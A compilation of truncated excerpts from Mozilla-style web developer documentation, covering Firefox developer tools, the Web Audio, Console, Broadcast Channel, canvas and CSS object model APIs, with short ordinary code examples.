The Web Developer Menu - Firefox Developer Tools
The
Web Developer menu is the main way to access the developer tools that are built into Firefox. On OS X and Linux, it's under the "Tools" menu: On Windows 7, it's under the "Firefox" menu: You'll see that the menu is split into three sections: the first section lists tools that are hosted in the Toolbox, which is a dedicated window for developer tools the second section lists integrated tools that are not hosted in the Toolbox, as well as any tools installed as add-ons (you'll see in the Windows screenshot above that I've installed the Firefox OS Simulator) the third section, "Get More Tools", is a link to more
web development add-ons for Firefox ...
Use the Inspector from the Web Console - Firefox Developer Tools
The element that's currently selected in the Page Inspector can be referenced in the
Web Console using the variable $0. DOM elements in the
Web Console output get a target next to them. If you hover over this target, the element is highlighted in the page, and if you click the target, the element is selected in the Inspector: ...
Animation inspector example: Web Animations API - Firefox Developer Tools
firefox-logo-animation Example animation using the
Web Animations API. HTML Content <div class="channel"> <img src="https://udn.realityripple.com/samples/e6/a96484b5c3.png" id="icon"/> <span id="note">Firefox Developer Edition</span> </div> CSS Content .channel { padding: 2em; margin: 0.5em; box-shadow: 1px 1px 5px #808080; margin: 1.5em; } .channel > * { vertical-align: middle; line-height: normal; } #icon { width: 50px; height: 50px; filter: grayscale(100%); } #note { margin-left: 1em; font: 1.5em "Open Sans",Arial,sans-serif; overflow: hidden; white-space: nowrap; display: inline-block; opacity: 0; width: 0; } JavaScript Content var iconKeyframeSet = [ { transform: 'scale(1)', filter: 'grayscale(100%)'}, { filter: 'grayscale(100...
Web console keyboard shortcuts - Firefox Developer Tools
Command Windows macOS Linux Open the
Web Console Ctrl + Shift + K Cmd + Opt + K Ctrl + Shift + K Search in the message display pane Ctrl + F Cmd + F Ctrl + F Open the object inspector pane Ctrl + Click Ctrl + Click Ctrl + Click Clear the object inspector pane Esc Esc Esc Focus on the command line Ctrl + Shift + K Cmd + Opt + K Ctrl + Shift + K Clear output Ctrl + Shift + L Ctrl + L From Firefox 67: Cmd + K Ctrl + Shift + L Command line interpreter These shortcuts apply when you're in the command line interpreter. Command Windows macOS Linux Scroll to start of console output (only if the co...
AudioContextOptions.latencyHint - Web APIs
e specified as a double-precision floating-point value, specifying the preferred maximum latency in seconds. This provides more precise control over the balance between audio latency and device energy usage. To determine the actual latency of the context after creating it, check the value of the context's baseLatency property. Specifications Specification Status Comment
Web Audio APIThe definition of 'AudioContextOptions.latencyHint' in that specification. Working Draft Initial definition. ...
AudioContextOptions.sampleRate - Web APIs
8,000 Hz and 96,000 Hz; the default will vary depending on the output device, but the sample rate 44,100 Hz is the most common. If the sampleRate property is not included in the options, or the options are not specified when creating the audio context, the new context's output device's preferred sample rate is used by default. Specifications Specification Status Comment
Web Audio APIThe definition of 'AudioContextOptions.sampleRate' in that specification. Working Draft Initial definition. ...
AudioDestinationNode.maxChannelCount - Web APIs
long. Example The following would set up a simple audio graph, featuring an AudioDestinationNode with maxChannelCount of 2: var audioCtx = new AudioContext(); var source = audioCtx.createMediaElementSource(myMediaElement); source.connect(gainNode); audioCtx.destination.maxChannelCount = 2; gainNode.connect(audioCtx.destination); To see a more complete implementation, check out one of our MDN
Web Audio examples, such as Voice-change-o-matic or Violent Theremin. Specifications Specification Status Comment
Web Audio APIThe definition of 'maxChannelCount' in that specification. Working Draft ...
AudioDestinationNode - Web APIs
default, this simply represents the output of the user's system (e.g. their speakers), so you can get it hooked up inside an audio graph using only a few lines of code: var audioCtx = new AudioContext(); var source = audioCtx.createMediaElementSource(myMediaElement); source.connect(gainNode); gainNode.connect(audioCtx.destination); To see a more complete implementation, check out one of our MDN
Web Audio examples, such as Voice-change-o-matic or Violent Theremin. Specifications Specification Status Comment
Web Audio APIThe definition of 'AudioDestinationNode' in that specification. Working Draft ...
AudioNode.channelCount - Web APIs
.channelCountMode: It is ignored if the channelCountMode value is max. It is used as a maximum value if the channelCountMode value is clamped-max. It is used as the exact value if the channelCountMode value is explicit. Syntax var oscillator = audioCtx.createOscillator(); var channels = oscillator.channelCount; Value An integer. Example var AudioContext = window.AudioContext || window.
webkitAudioContext; var audioCtx = new AudioContext(); var oscillator = audioCtx.createOscillator(); var gainNode = audioCtx.createGain(); oscillator.connect(gainNode); gainNode.connect(audioCtx.destination); oscillator.channelCount; Specifications Specification Status Comment
Web Audio APIThe definition of 'channelCount' in that specification. Working Draft ...
AudioNode.channelCountMode - Web APIs
efined by the value of channelCount. AudioDestinationNode, AnalyserNode, ChannelSplitterNode In older versions of the spec, the default for a ChannelSplitterNode was max. Syntax var oscillator = audioCtx.createOscillator(); oscillator.channelCountMode = 'explicit'; Value A enumerated value representing a channelCountMode. Example var AudioContext = window.AudioContext || window.
webkitAudioContext; var audioCtx = new AudioContext(); var oscillator = audioCtx.createOscillator(); var gainNode = audioCtx.createGain(); oscillator.connect(gainNode); gainNode.connect(audioCtx.destination); oscillator.channelCountMode = 'explicit'; Specifications Specification Status Comment
Web Audio APIThe definition of 'channelCountMode' in that specification. W...
AudioNode.disconnect() - Web APIs
this parameter is out-of-bound, an IndexSizeError exception is thrown. Exceptions IndexSizeError A value specified for input or output is invalid, referring to a node which doesn't exist or outside the permitted range. InvalidAccessError The node on which disconnect() was called isn't connected to the specified destination node. Example var AudioContext = window.AudioContext || window.
webkitAudioContext; var audioCtx = new AudioContext(); var oscillator = audioCtx.createOscillator(); var gainNode = audioCtx.createGain(); oscillator.connect(gainNode); gainNode.connect(audioCtx.destination); gainNode.disconnect(); Specifications Specification Status Comment
Web Audio APIThe definition of 'disconnect' in that specification. Working Draft ...
AudioParam.cancelScheduledValues() - Web APIs
be cancelled. Returns A reference to this AudioParam object. In some older implementations this method returns void. Examples var gainNode = audioCtx.createGain(); gainNode.gain.setValueCurveAtTime(waveArray, audioCtx.currentTime, 2); //'gain' is the AudioParam gainNode.gain.cancelScheduledValues(audioCtx.currentTime); Specifications Specification Status Comment
Web Audio APIThe definition of 'cancelScheduledValues' in that specification. Working Draft ...
AudioParam.defaultValue - Web APIs
reating the AudioParam. Syntax var defaultVal = audioParam.defaultValue; Value A floating-point Number. Example const audioCtx = new AudioContext(); const gainNode = audioCtx.createGain(); const defaultVal = gainNode.gain.defaultValue; console.log(defaultVal); // 1 console.log(defaultVal === gainNode.gain.value); // true Specifications Specification Status Comment
Web Audio APIThe definition of 'defaultValue' in that specification. Working Draft ...
AudioParam.maxValue - Web APIs
the parameter's nominal range. The default value of maxValue is the maximum positive single-precision floating-point value (+340,282,346,638,528,859,811,704,183,484,516,925,440). Example const audioCtx = new AudioContext(); const gainNode = audioCtx.createGain(); console.log(gainNode.gain.maxValue); // 3.4028234663852886e38 Specifications Specification Status Comment
Web Audio APIThe definition of 'maxValue' in that specification. Working Draft ...
BroadcastChannel.onmessage - Web APIs
The BroadcastChannel.onmessage event handler is a property that specifies the function to execute when a message event, of type MessageEvent, is received by this BroadcastChannel. Such an event is sent by the browser with a message broadcasted to the channel. Note: This feature is available in
Web Workers. Syntax channel.onmessage = function; Values function is the name of a user-defined function, without the () suffix or any parameters, or an anonymous function declaration, such as function(event) {...}. An event handler always has one single parameter, containing the event, here of type MessageEvent. Example bc.onmessage = function(ev) { console.log(`message event received! '${ev.data}'`); }; Specifications Specification Status Comment HTML Living Stan...
BroadcastChannel.onmessageerror - Web APIs
Syntax bc.onmessageerror = function() { ... }; Specifications Specification Status Comment HTML Living StandardThe definition of 'onmessageerror' in that specification. Living Standard ...
BroadcastChannel.postMessage() - Web APIs
The BroadcastChannel.postMessage() sends a message, which can be of any kind of Object, to each listener in any browsing context with the same origin. The message is transmitted as a message event targeted at each BroadcastChannel bound to the channel. Note: This feature is available in
Web Workers. Syntax var str = channel.postMessage(object); Specifications Specification Status Comment HTML Living StandardThe definition of 'BroadcastChannel.postmessage()' in that specification. Living Standard Initial definition. ...
Broadcast Channel API - Web APIs
By creating a BroadcastChannel object, you can receive any messages that are posted to it. You don't have to maintain a reference to the frames or workers you wish to communicate with: they can "subscribe" to a particular channel by constructing their own BroadcastChannel with the same name, and have bi-directional communication between all of them. ...
ByteString - Web APIs
ByteString is a UTF-8 String that corresponds to the set of all possible sequences of bytes. ByteString maps to a String when returned in JavaScript; generally, it's only used when interfacing with protocols that use bytes and strings interchangably, such as HTTP. Specifications Specification Status Comment
Web IDLThe definition of 'ByteString' in that specification. Candidate Recommendation Initial definition. ...
CSS.supports() - Web APIs
aining the condition to check. Return value true if the browser supports the rule, otherwise false. Examples result = CSS.supports("text-decoration-style", "blink"); result = CSS.supports("display: flex"); result = CSS.supports("(--foo: red)"); result = CSS.supports(`(transform-style: preserve) or (-moz-transform-style: preserve) or (-o-transform-style: preserve) or (-
webkit-transform-style: preserve)`); // result is true or false Specification Specification Status Comment CSS Conditional Rules Module Level 3The definition of 'CSS: supports()' in that specification. Candidate Recommendation Initial definition. ...
CSSConditionRule - Web APIs
An object implementing the CSSConditionRule interface represents a single condition CSS at-rule, which consists of a condition and a statement block. It is a child of CSSGroupingRule. Two objects derive from it : CSSMediaRule and CSSSupportsRule. Syntax The syntax is described using the
WebIDL format. interface CSSConditionRule : CSSGroupingRule { attribute DOMString conditionText; } Properties The CSSConditionRule derives from CSSRule, CSSGroupingRule and inherits all properties of these classes. It has one specific property: CSSConditionRule.conditionText Represents the text of the condition of the rule. Methods The CSSConditionRule derives from CSSRule, CSSGroupingRule and inherits all methods of these classes. It has no specific property of its own. Specifications ...
CSSGroupingRule - Web APIs
An object implementing the CSSGroupingRule interface represents any CSS at-rule that contains other rules nested within it. Objects deriving from it : CSSConditionRule and its children: CSSMediaRule, CSSSupportsRule, and CSSDocumentRule. CSSPageRule Syntax The syntax is described using the
WebIDL format. interface CSSGroupingRule : CSSRule { readonly attribute CSSRuleList cssRules; unsigned long insertRule (DOMString rule, unsigned long index); void deleteRule (unsigned long index); } Properties common to all CSSGroupingRule instances The CSSGroupingRule derives from CSSRule and inherits all properties of this class. It has one specific property: CSSGroupingRule.cssRules Read only Returns a CSSRuleList of the CSS rules in the media rule. Methods common to all C...
CSSMediaRule - Web APIs
interface CSSMediaRule : CSSConditionRule { readonly attribute MediaList media; } Properties As a CSSConditionRule, and therefore both a CSSGroupingRule and a CSSRule, CSSMediaRule also implements the properties of these interfaces. ...
CSSNamespaceRule - Web APIs
interface CSSNamespaceRule : CSSRule { readonly attribute DOMString namespaceURI; readonly attribute DOMString? prefix; }; Properties As a CSSRule, CSSNamespaceRule also implements the properties of that interface. ...
CSSOMString - Web APIs
at use UTF-8 internally to represent strings in memory can use USVString when the specification says CSSOMString, implementations that already represent strings as 16-bit sequences might choose to use DOMString instead. Implementation differences Browser DOMString or USVString for CSSOMString Firefox (Gecko) USVString Chrome (Blink) USVString Safari (
WebKit) USVString Edge (EdgeHTML) - Opera (Blink) USVString Specifications Specification Status Comment CSS Object Model (CSSOM)The definition of 'CSSOMString' in that specification. Working Draft Initial definition. ...
CSSPageRule - Web APIs
interface CSSPageRule : CSSRule { attribute DOMString selectorText; readonly attribute CSSStyleDeclaration style; }; Properties As a CSSRule, CSSPageRule also implements the properties of this interface. It has the following specific properties: CSSPageRule.selectorText Represents the text of the page selector associated with the at-rule. ...
CSSPositionValue.CSSPositionValue() - Web APIs
The CSSPositionValue constructor creates a new CSSPositionValue object which represents values for properties that take a position, for example object-position. Syntax cvar cssPositionValue = new CSSPositionValue(x, y) Parameters x A position along the
web page's horizontal axis. y A position along the
web page's vertical axix. Examples The following example positions a container <div> 5 pixels from the top and 10 pixels from the left of the page. let someDiv = document.getElementById('container'); let position = new CSSPositionValue(CSS.px(5), CSS.px(10)); someDiv.attributeStyleMap.set('object-position', position); console.log(position.x.value, position.y.value); // 5 10 ...
CSSPositionValue.x - Web APIs
Syntax var x = CSSPositionValue.x Value A CSSNumericValue. Example The following example positions a container <div> 5 pixels from the top and 10 pixels from the left of the page. ...
CSSPseudoElement - Web APIs
Instances of this interface may be obtained by calling Element.pseudo(). Properties CSSPseudoElement.element Read only Returns the originating/parent Element of the pseudo-element. CSSPseudoElement.type Read only Returns the pseudo-element selector as a CSSOMString. Methods CSSPseudoElement extends EventTarget, so it inherits the following methods: EventTarget.addEventListener() Registers an event handler of a specific event type on the pseudo-element. ...
CSSStyleSheet - Web APIs
m its owner object (Node or CSSImportRule), if any. A CSSStyleSheet object is created and inserted into the document's Document.styleSheets list automatically by the browser, when a stylesheet is loaded for a document. As the stylesheet list cannot be modified directly, there's no useful way to create a new CSSStyleSheet object manually (although Constructable Stylesheet Objects is coming to the
web platform soon and is already supported in Blink). To create a new stylesheet, insert a <style> or <link> element into the document. A (possibly incomplete) list of ways a stylesheet can be associated with a document follows: Reason for the style sheet to be associated with the document Appears in document. styleSheets list Getting the owner element/rule given the style sheet ...
CSSSupportsRule - Web APIs
interface CSSSupportsRule : CSSConditionRule { } Properties As a CSSConditionRule and therefore a CSSRule and a CSSGroupingRule, CSSSupportsRule also implements the properties of these interfaces. ...
CanvasRenderingContext2D.drawWidgetAsOnScreen() - Web APIs
The non-standard and internal only CanvasRenderingContext2D.drawWidgetAsOnScreen() method of the Canvas 2D API renders the root widget of a window into the canvas. Unlike drawWindow(), this API uses the operating system to snapshot the widget on-screen, rather than reading from Gecko's own compositor. This API cannot be used by
Web content. It is only supported on Windows, only on widgets that use OMTC, and only from within the chrome process. Syntax void ctx.drawWidgetAsOnScreen(window); Parameters window The Window to render. Specifications Not part of any current specification or draft. This is a non-standard and internal only API. ...
Basic animations - Web APIs
basis: 30% } @keyframes diss { from { opacity: 1 } to { opacity: 0 } } .keypress>div { border: dashed 3px #fff; height: 48%; width: 48%; display: flex; align-content: center; justify-content: center; align-self: center; align-items: center; font-size: -
webkit-xxx-large; font-weight: 900; color: #fff; transition: .5s; opacity: .1; border-radius: 7px } .keypress { position: fixed; width: 100vw; height: 100vh; top: 0; left: 0; display: flex; flex-wrap: wrap; justify-content: space-around; opacity: 1; user-select: none } ...
Basic usage of canvas - Web APIs
d="foo" ...></canvas> is fully compatible with all browsers that support canvas at all. The rendering context The <canvas> element creates a fixed-size drawing surface that exposes one or more rendering contexts, which are used to create and manipulate the content shown. In this tutorial, we focus on the 2D rendering context. Other contexts may provide different types of rendering; for example,
WebGL uses a 3D context based on OpenGL ES. The canvas is initially blank. To display something, a script first needs to access the rendering context and draw on it. The <canvas> element has a method called getContext(), used to obtain the rendering context and its drawing functions. getContext() takes one parameter, the type of context. For 2D graphics, such as those covered by this tutorial, you s...
Optimizing canvas - Web APIs
This article provides suggestions for optimizing your use of the canvas element to ensure that your graphics perform well. Performance tips The following is a collection of tips to improve canvas performance. Pre-render similar primitives or repeating objects on an offscreen canvas If you find yourself repeating some of the same drawing operations on each animation frame, consider offloading them to an offscreen canvas. ...
Pixel manipulation with canvas - Web APIs
etElementById('canvas'); var ctx = canvas.getContext('2d'); ctx.drawImage(img, 0, 0); img.style.display = 'none'; var zoomctx = document.getElementById('zoom').getContext('2d'); var smoothbtn = document.getElementById('smoothbtn'); var toggleSmoothing = function(event) { zoomctx.imageSmoothingEnabled = this.checked; zoomctx.mozImageSmoothingEnabled = this.checked; zoomctx.
webkitImageSmoothingEnabled = this.checked; zoomctx.msImageSmoothingEnabled = this.checked; }; smoothbtn.addEventListener('change', toggleSmoothing); var zoom = function(event) { var x = event.layerX; var y = event.layerY; zoomctx.drawImage(canvas, Math.min(Math.max(0, x - 5), img.width - 10), Math.min(Math.max(0, y - 5), img.height -...
Using images - Web APIs
iously, scaling images can result in fuzzy or blocky artifacts due to the scaling process. ...
Canvas tutorial - Web APIs
es on this page show examples of <canvas> implementations which will be created in this tutorial. This tutorial describes how to use the <canvas> element to draw 2D graphics, starting with the basics. The examples provided should give you some clear ideas about what you can do with canvas, and will provide code snippets that may get you started in building your own content. First introduced in
WebKit by Apple for the OS X Dashboard, <canvas> has since been implemented in browsers. Today, all major browsers support it. Before you start Using the <canvas> element is not very difficult, but you do need a basic understanding of HTML and JavaScript. The <canvas> element is not supported in some older browsers, but is supported in recent versions of all major browsers. The default size of the ...
ChannelMergerNode() - Web APIs
t value used is 6. Return value A new ChannelMergerNode object instance. Exceptions InvalidStateError An option such as channelCount or channelCountMode has been given an invalid value. Example var ac = new AudioContext(); var options = { numberOfInputs : 2 } var myMerger = new ChannelMergerNode(ac, options); Specifications Specification Status Comment
Web Audio APIThe definition of 'ChannelMergerNode' in that specification. Working Draft ...
ChannelMergerNode - Web APIs
ntTime); splitter.connect(gainNode, 0); // Connect the splitter back to the second input of the merger: we // effectively swap the channels, here, reversing the stereo image. gainNode.connect(merger, 0, 1); splitter.connect(merger, 1, 0); var dest = ac.createMediaStreamDestination(); // Because we have used a ChannelMergerNode, we now have a stereo // MediaStream we can use to pipe the
Web Audio graph to
WebRTC, // MediaRecorder, etc. merger.connect(dest); }); Specifications Specification Status Comment
Web Audio APIThe definition of 'ChannelMergerNode' in that specification. Working Draft ...
ChannelSplitterNode - Web APIs
ntTime); splitter.connect(gainNode, 0); // Connect the splitter back to the second input of the merger: we // effectively swap the channels, here, reversing the stereo image. gainNode.connect(merger, 0, 1); splitter.connect(merger, 1, 0); var dest = ac.createMediaStreamDestination(); // Because we have used a ChannelMergerNode, we now have a stereo // MediaStream we can use to pipe the
Web Audio graph to
WebRTC, // MediaRecorder, etc. merger.connect(dest); }); Specifications Specification Status Comment
Web Audio APIThe definition of 'ChannelSplitterNode' in that specification. Working Draft ...
Channel Messaging API - Web APIs
The Channel Messaging API allows two separate scripts running in different browsing contexts attached to the same document (e.g., two IFrames, or the main document and an IFrame, two documents via a SharedWorker, or two workers) to communicate directly, passing messages between one another through two-way channels (or pipes) with a port at each end. Note: This feature is available in
Web Workers. Channel messaging concepts and usage A message channel is created using the MessageChannel() constructor. Once created, the two ports of the channel can be accessed through the MessageChannel.port1 and MessageChannel.port2 properties (which both return MessagePort objects.) The app that created the channel uses port1, and the app at the other end of the port uses port2 -- you send a message to po...
Clients.openWindow() - Web APIs
eates a new top level browsing context and loads a given URL. If the calling script doesn't have permission to show popups, openWindow() will throw an InvalidAccessError. In Firefox, the method is allowed to show popups only when called as the result of a notification click event. In Chrome for Android, the method may instead open the URL in an existing browsing context provided by a standalone
web app previously added to the user's home screen. As of recently, this also works on Chrome for Windows. Syntax self.clients.openWindow(url).then(function(windowClient) { // Do something with your WindowClient }); Parameters url A USVString representing the URL of the client you want to open in the window. Generally this value must be a URL from the same origin as the calling script. Ret...
console.assert() - Web APIs
Syntax console.assert(assertion, obj1 [, obj2, ..., objN]); console.assert(assertion, msg [, subst1, ..., substN]); // C-like message formatting Parameters assertion Any boolean expression. If the assertion is false, the message is written to the console. obj1 ... objN A list of JavaScript objects to output. The string representations of each of these objects are appended together in the order listed and output. ...
console.count() - Web APIs
Syntax console.count([label]); Parameters label Optional A String. If supplied, count() outputs the number of times it has been called with that label. If omitted, count() behaves as though it was called with the "default" label. ...
Console.countReset() - Web APIs
Syntax console.countReset([label]); Parameters label Optional A String. If supplied, countReset() resets the count for that label to 0. If omitted, countReset() resets the default counter to 0. ...
console.debug() - Web APIs
The message is only displayed to the user if the console is configured to display debug output. Note: This feature is available in
Web Workers. Syntax console.debug(obj1 [, obj2, ..., objN]); console.debug(msg [, subst1, ..., substN]); Parameters obj1 ... objN A list of JavaScript objects to output. The string representations of each of these objects are appended together in the order listed and output to the console. msg A JavaScript string containing zero or more substitution strings, which are replaced with subst1 through substN in consecutive order. subst1 ... ...
Console.dir() - Web APIs
list of the properties of the specified JavaScript object. The output is presented as a hierarchical listing with disclosure triangles that let you see the contents of child objects. In other words, console.dir() is the way to see all the properties of a specified JavaScript object in console by which the developer can easily get the properties of the object. Note: This feature is available in
Web Workers. Syntax console.dir(object); Parameters object A JavaScript object whose properties should be output. Specifications Specification Status Comment Console APIThe definition of 'console.dir()' in that specification. Living Standard Initial definition ...
Console.error() - Web APIs
Syntax console.error(obj1 [, obj2, ..., objN]); console.error(msg [, subst1, ..., substN]); console.exception(obj1 [, obj2, ..., objN]); console.exception(msg [, subst1, ..., substN]); Note: console.exception() is an alias for console.error(); they are functionally identical. Parameters obj1 ... objN A list of JavaScript objects to output. The string representations of each of these objects are appended together in the order listed and output. msg A JavaScript string containing zero or more substitution strings. subst1 ... substN JavaScript objects with which to replace substitution strings within msg. ...
Console.group() - Web APIs
Syntax console.group([label]); Parameters label Label for the group. Optional. (Chrome 59 tested) Does not work with console.groupEnd(). Using groups in the console Requires Gecko 9.0(Firefox 9.0 / Thunderbird 9.0 / SeaMonkey 2.6) You can use nested groups to help organize your output by visually associating related messages. To create a new nested block, call console.group(). The console.groupCollapsed() method is similar, but the new block is collapsed and requires clicking a disclosure button to read it. ...
Console.groupEnd() - Web APIs
Syntax console.groupEnd(); Parameters None. Specifications Specification Status Comment Console APIThe definition of 'console.groupEnd()' in that specification. ...
Console.info() - Web APIs
Syntax console.info(obj1 [, obj2, ..., objN]); console.info(msg [, subst1, ..., substN]); Parameters obj1 ... objN A list of JavaScript objects to output. The string representations of each of these objects are appended together in the order listed and output. msg A JavaScript string containing zero or more substitution strings. subst1 ... substN JavaScript objects with which to replace substitution strings within msg. This gives you additional control over the format of the output. ...
console.log() - Web APIs
The message may be a single string (with optional substitution values), or it may be any one or more JavaScript objects. Note: This feature is available in
Web Workers. Syntax console.log(obj1 [, obj2, ..., objN]); console.log(msg [, subst1, ..., substN]); Parameters obj1 ... objN A list of JavaScript objects to output. The string representations of each of these objects are appended together in the order listed and output. ...
Console.profile() - Web APIs
Starts recording a performance profile (for example, the Firefox performance tool). You can optionally supply an argument to name the profile and this then enables you to stop only that profile if multiple profiles being recorded. See Console.profileEnd() to see how this argument is interpreted. To stop recording call Console.profileEnd(). Note: This feature is available in
Web Workers. Syntax console.profile(profileName); Parameters profileName The name to give the profile. Optional. ...
Console.profileEnd() - Web APIs
sole.profileEnd() is passed a profile name, and it matches the name of a profile being recorded, then that profile is stopped. if Console.profileEnd() is passed a profile name and it does not match the name of a profile being recorded, no changes will be made. if Console.profileEnd() is not passed a profile name, the most recently started profile is stopped. Note: This feature is available in
Web Workers. Syntax console.profileEnd(profileName); Parameters profileName The name to give the profile. This parameter is optional. ...
Console.table() - Web APIs
r enumerable property if data is an object) will be a row in the table. The first column in the table will be labeled (index). If data is an array, then its values will be the array indices. If data is an object, then its values will be the property names. Note that (in Firefox) console.table is limited to displaying 1000 rows (first row is the labeled index). Note: This feature is available in
Web Workers. Collections of primitive types The data argument may be an array or an object. // an array of strings console.table(["apples", "oranges", "bananas"]); // an object whose properties are strings function Person(firstName, lastName) { this.firstName = firstName; this.lastName = lastName; } var me = new Person("John", "Smith"); console.table(me); Collections of compound type...
Console.time() - Web APIs
a timer you can use to track how long an operation takes. You give each timer a unique name, and may have up to 10,000 timers running on a given page. When you call console.timeEnd() with the same name, the browser will output the time, in milliseconds, that elapsed since the timer was started. See Timers in the console documentation for details and examples. Note: This feature is available in
Web Workers. Syntax console.time(label); Parameters label The name to give the new timer. This will identify the timer; use the same name when calling console.timeEnd() to stop the timer and get the time output to the console. Specifications Specification Status Comment Console APIThe definition of 'console.time()' in that specification. Living Standard In...
Console.timeEnd() - Web APIs
Stops a timer that was previously started by calling console.time(). See Timers in the documentation for details and examples. Note: This feature is available in
Web Workers. Syntax console.timeEnd(label); Parameters label The name of the timer to stop. Once stopped, the elapsed time is automatically displayed in the
Web Console along with an indicator that the time has ended. Examples console.time("answer time"); alert("Click to continue"); console.timeLog("answer time"); alert("Do a bunch of other stuff..."); console.timeEnd("answer time"); The output from the example above shows the time taken by the user to dismiss the first alert box, followed by the time it took for the user to dismiss the second alert: Notice that the timer's name is displayed when the timer value ...
Console.timeLog() - Web APIs
Syntax console.timeLog(label); Parameters label The name of the timer to log to the console. Return If no label parameter included: default: 1042ms If an existing label is included: timer name: 1242ms Exceptions If there is no running timer, timeLog() returns the warning: Timer "default" doesn't exist. ...
Console.timeStamp() - Web APIs
Adds a single marker to the browser's Performance or Waterfall tool. This lets you correlate a point in your code with the other events recorded in the timeline, such as layout and paint events. You can optionally supply an argument to label the timestamp, and this label will then be shown alongside the marker. Note: This feature is available in
Web Workers. Syntax console.timeStamp(label); Parameters label Label for the timestamp. Optional. ...
console.trace() - Web APIs
See Stack traces in the console documentation for details and examples. Syntax console.trace( [...any, ...data ]); Parameters ...any, ...data Optional Zero or more objects to be output to console along with the trace. These are assembled and formatted the same way they would be if passed to the console.log() method. ...
Console.warn() - Web APIs
Syntax console.warn(obj1 [, obj2, ..., objN]); console.warn(msg [, subst1, ..., substN]); Parameters obj1 ... objN A list of JavaScript objects to output. The string representations of each of these objects are appended together in the order listed and output. msg A JavaScript string containing zero or more substitution strings. subst1 ... substN JavaScript objects with which to replace substitution strings within msg. This gives you additional control over the format of the output. ...
console - Web APIs
The console object provides access to the browser's debugging console (e.g. the
Web Console in Firefox). The specifics of how it works varies from browser to browser, but there is a de facto set of features that are typically provided. The console object can be accessed from any global object. Window on browsing scopes and WorkerGlobalScope as specific variants in workers via the property console. It's exposed as Window.console, and can be referenced as simply console. For example: console.log("Failed to open the specified link") This page documents the Methods available on the console object and gives a few Usage examples. Note: This feature is available in
Web Workers. Note: The actual console interface is defined as all lower case (i.e. not Console), for historical reasons. Method...
Console API - Web APIs
ons. Find out about these at: Google Chrome DevTools implementation Safari DevTools implementation Usage is very simple -- the console object -- available via window.console, or WorkerGlobalScope.console in workers; accessible using just console -- contains many methods that you can call to perform rudimentary debugging tasks, generally focused around logging various values to the browser's
Web Console. By far the most commonly-used method is console.log, which is used to log the current value contained inside a specific variable. Interfaces console Provides rudimentary debugging functionality, including logging, stack traces, timers, and counters. Examples let myString = 'Hello world'; // Output "Hello world" to the console console.log(myString) See the Console reference pag...
ConstantSourceNode() - Web APIs
In this example, an audio context is created, then a ConstantSourceNode is established with its offset initialized to 0.5. let audioContext = new AudioContext(); let myConstantSource = new ConstantSourceNode(audioContext, { offset: 0.5 }); Note: The new ConstantSourceNode created by the constructor has a channelCount of 2. Specifications Specification Status Comment
Web Audio APIThe definition of 'ConstantSourceNode: ConstantSourceNode' in that specification. Working Draft ...
ConstrainDouble - Web APIs
n. Candidate Recommendation Initial definition Technically, ConstrainDouble is actually based on an intermediary dictionary named ConstrainDoubleRange, which adds exact and ideal to DoubleRange, with ConstrainDouble being a type that can be either a long integer or a DoubleRange. However, for the sake of documentation clarity, the intermediate type (present only because of quirks in
WebIDL syntax) is ignored here. ...
ConstrainULong - Web APIs
cation. Candidate Recommendation Initial definition Technically, ConstrainULong is actually based on an intermediary dictionary named ConstrainULongRange, which adds exact and ideal to ULongRange, with ConstrainULong being a type that can be either a long integer or a ULongRange. However, for the sake of documentation clarity, the intermediate type (present only because of quirks in
WebIDL syntax) is ignored here. ...
Constraint validation API - Web APIs
or to provide clearer reporting of validation failures than the defaults. This can be done using the Constraint Validation API. Note: Client-side constraint validation doesn't remove the need for validation on the server side. Even though client-side validation can prevent many common kinds of invalid values, invalid ones can still be sent by older browsers or by attackers trying to trick your
web application. Therefore, you need to also validate input values on the server side, in a way that is consistent with what is done on the client side. Client side validation is a tool for giving quick feedback to the user. You should not rely on it to completely sanitize data received by the server. Validation of constraints through the constraint validation API is done either on a single form el...
Content Index API - Web APIs
The Content Index API allows developers to register their offline enabled content with the browser. Concepts and Usage As it stands, offline
web content is not easily discoverable by users. Content indexing allows developers to tell the browser about their specific offline content. This allows users to discover and view what is available, whilst giving developers the ability to add and manage this content. Examples could be a news
website prefetching the latest articles in the background, or a content streaming app registering downloaded content. The Content Index API is an extension to service workers, which allows developers to add URLs and metadata of already cached pages, under the scope of the current service worker. The browser can then use these entries to display offline...
CredentialsContainer.preventSilentAccess() - Web APIs
The preventSilentAccess() method of the CredentialsContainer interface sets a flag that specifies whether automatic log in is allowed for future visits to the current origin, then returns an empty Promise. For example, you might call this, after a user signs out of a
website to ensure that he/she isn't automatically signed in on the next site visit. Mediation varies by origin, and is an added check point of browser stored credentials, informing a user of an account login status. This method is typically called after a user signs out of a
website, ensuring this user's login information is not automatically passed on the next site visit. Earlier versions of the spec called this method requireUserMediation(). See Browser compatibility for support details. Syntax var Promise = CredentialsCo...
Crypto.subtle - Web APIs
The Crypto.subtle read-only property returns a SubtleCrypto which can then be used to perform low-level cryptographic operations. Syntax var crypto = crypto.subtle; Value A SubtleCrypto object you can use to interact with the
Web Crypto API's low-level cryptography features. Specifications Specification Status Comment
Web Cryptography APIThe definition of 'Crypto.subtle' in that specification. Recommendation Initial definition. ...
CustomElementRegistry - Web APIs
mElementRegistry.upgrade() Upgrades a custom element directly, even before it is connected to its shadow root. CustomElementRegistry.whenDefined() Returns an empty promise that resolves when a custom element becomes defined with the given name. If such a custom element is already defined, the returned promise is immediately fulfilled. Examples The following code is taken from our word-count-
web-component example (see it live also). Note how we use the CustomElementRegistry.define() method to define the custom element after creating its class. // Create a class for the element class WordCount extends HTMLParagraphElement { constructor() { // Always call super first in constructor super(); // count words in element's parent element var wcParent = this.parentNode; ...
CustomEvent() - Web APIs
Syntax event = new CustomEvent(typeArg, customEventInit); Parameters typeArg A DOMString representing the name of the event. customEventInit Optional A CustomEventInit dictionary, having the following fields: "detail", optional and defaulting to null, of type any, that is an event-dependent value associated with the event. The CustomEventInit dictionary also accepts fields from the EventInit dictionary. Return value A new CustomEvent object of the specified type, with any other properties configured according to the CustomEventInit dictionary (if one was provided). ...
DOMMatrix - Web APIs
Constructor DOMMatrix() Creates and returns a new DOMMatrix object. Properties This interface inherits properties from DOMMatrixReadOnly, though some of these properties are altered to be mutable. ...
DOMMatrixReadOnly - Web APIs
The DOMMatrixReadOnly interface represents a read-only 4x4 matrix, suitable for 2D and 3D operations. The DOMMatrix interrface--which is based upon DOMMatrixReadOnly--adds mutability, allowing you to alter the matrix after creating it. A 4x4 matrix is suitable to describe any rotation and translation in 3D. This interface should be available inside
